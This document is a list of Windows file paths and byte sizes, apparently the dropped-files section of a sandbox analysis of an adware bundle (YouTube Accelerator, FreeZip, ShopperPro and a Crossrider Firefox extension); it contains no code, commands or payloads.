C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\now_accelerating.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\hd_disabled.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbk7F1D.tmp (242 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\exiting.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\silenttestfailed.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\premium_now_accelerating.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\oem_video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\blank.html (97 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trial_video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_2916_testlsp.log_tmp (23 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\update.mht (31 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbk7F42.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_2676_YouTubeAcceleratorService.log_tmp (41 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\SMALLTEST[1].htm (70 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\test.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\testlsp_2916.log_tmp (815 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\LspCommTest.zip (193666 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\activation_offline.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\noupdates.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAcceleratorService_2676.log_tmp (493 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbk7EAE.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trialexp_video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\va_on.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\olddriver.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\tweetmessage.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\activation_expired.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbk7F58.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\restart.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbk7F44.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\acceleration_not_supported.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbk7F46.tmp (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbk7E9A.tmp (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbk7F31.tmp (50 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbk7F1F.tmp (682 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\21KADDXO.txt (135 bytes)
C:\Users\Public\Documents\ShopperPro\JsDriver\Config.xml (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz84A.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz84A.tmp\Vlwgfsqfpaz.exe (27087827 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz84A.tmp\StdUtils.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz84A.tmp\FacebookIsGod.dll (2552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz84A.tmp\Qzcggrhivnxb.tmp (455919 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\setup[1].exe_a (167333 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\setup[1].exe_b (167333 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\setup[1].exe_c (167333 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\setup[1].exe_d (167333 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\setup[1].exe_e (167333 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\19615.bat (411 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\c6f36ae09f7b3c4993073c407a485e5f[1].htm (33832 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\FreeZip920.exe.6 (9760 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\tokyo_sprite_full[1].png (1300 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Internet Explorer\MSIMGSIZ.DAT (960 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\GHME3KXC.txt (688 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\ga[1].js (22248 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\EUFXAUGS.txt (116 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\OXZL0XDP.txt (548 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\CYT3XJL5.txt (286 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\FreeZip920.exe.7 (9760 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\554f1a32df4546428c4cd4ba3636f283[1].htm (44520 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\FreeZip920.exe.5 (9760 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\FreeZip920.exe.4 (9760 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\FreeZip920.exe.3 (9760 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\FreeZip920.exe.2 (9760 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\FreeZip920.exe.1 (9760 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\FreeZip920.exe.0 (9760 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\eula-sourceapp[1].htm (4341 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\freezip[1].png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\IVX5SNTJ.txt (688 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\eula-mystartsearch[1].htm (1871 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\tokyoLightGrayStripesBG[1].jpg (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\eula-youtubeaccelerator[1].htm (2744 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\eula[1].htm (1059 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe (22888 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.2 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.3 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.2 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.1 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.0 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.7 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.6 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.5 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.4 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\13BE.tmp (41486 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.7 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.6 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.5 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.4 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.3 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\fc5acaef92544d4d9ad600d2a201e613[1].htm (36484 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.1 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.0 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe (69303 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\ajax-bidl[1].htm (404 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\13BE.tmp.3 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\13BE.tmp.2 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\13BE.tmp.1 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\13BE.tmp.0 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\13BE.tmp.7 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\13BE.tmp.6 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\13BE.tmp.5 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\13BE.tmp.4 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\tokyo_sprite_full[2].png (1277 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\03afa64119f70e1aebbe898c1b5da437.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\195.js (414 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\defaults\preferences\prefs.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\220.js (1592 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\301.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\b2e7327e3ac0e48bdfe0f2ee52c9bfcf.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\installer.js (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\252.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\b9f5ee3c3d06e3f31441702c458c077e.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\182.js (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\c422d0a33c0be34d39a93687c738b5f0.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\255.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\22.js (21 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\2edcf1d6343b69377b1b5ab704fc0dba.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\cb61f016464902e3e7abde750ef80ba6.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\ddf2e4e66be71a3aa501f0f1d81c9768.js (26 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\98.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\6acae8acaae3dc3de618c70dcea92ac0.js (618 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome.manifest (634 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\97f2d9400f4f41e0a004435861570a3b.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\345.js (611 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\ab9e8724735655aca91d2a7b089e2a0b.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\install.rdf (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\6f853c3a67c26281e0f08b3f48ebe9f2.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\2b28a69712a27f77ea83be613b1b130b.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\651148047984925c52db469330db90bf.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\userCode\extension.js (358 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\manifest.xml (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon24.png (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\21.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\options.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\407fbe3700b14ae5bb1391d614260019.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button2.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button3.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\13.js (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\locale\en-US\translations.dtd (429 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\c61ce4124d823fd35688eed80827a81c.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\104.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\234.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\288.js (557 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\dbe88a314f000d3b15042465fdf21cc5.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button5.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\7b5b2cd1ed885911b763748de0e62fac.js (134 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\281.js (489 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\5f811dd3d0ee0431837525a50e825c15.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\253.js (741 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\skin.css (909 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon48.png (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\180.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\adef4cf34f09c97ddf05ee0f7b152b30.js (947 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\16.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\7df47bd2f0a36fc56fb4d5f85d879331.js (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\f183a1c9337b10ab3663860e202a82b3.js (20 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\6e6d2fa3e2de0ad6f80c88dde043160a.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\589ae49080bbcf5ef005df42c5431597.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\64.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\102.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\ebfd80fa6c60ea67c1d52c5d9ab644bf.js (357 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\72.js (1601 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\911be52d07701495078e83a9206b167f.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\242.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\panelarrow-up.png (921 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\crossrider_statusbar.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\91.js (6772 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\04e8dd99d8507cb819f5842891bb38e1.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button1.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\9774056cfe57a06b996430a878d9f2bd.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\c11ef8a5aa8ffdad3fc716ad6936ea56.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\262.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\1.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\183.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\184.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\bf8b21d3242abeb0ac0b4bad994e9dad.js (651 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\78.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\popup.html (353 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\47.js (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon16.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\28.js (540 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\200.js (813 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\207.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\search_dialog.xul (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\c0199a124990378c5a0d61a8fe029843.js (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\dialog.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\options.xul (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\9.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins.json (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\8d67ab46bd5bcae77c6c6b11b5654720.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\96535ae26022e95205336b6fd0dfa30b.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon128.png (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\update.css (144 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\17.js (2473 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\223.js (829 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\40fbad884e8b31bac377f4b3b4234a30.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\ffCoreFilesIndex.txt (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\221.js (419 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\177.js (816 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\background.html (6 bytes)
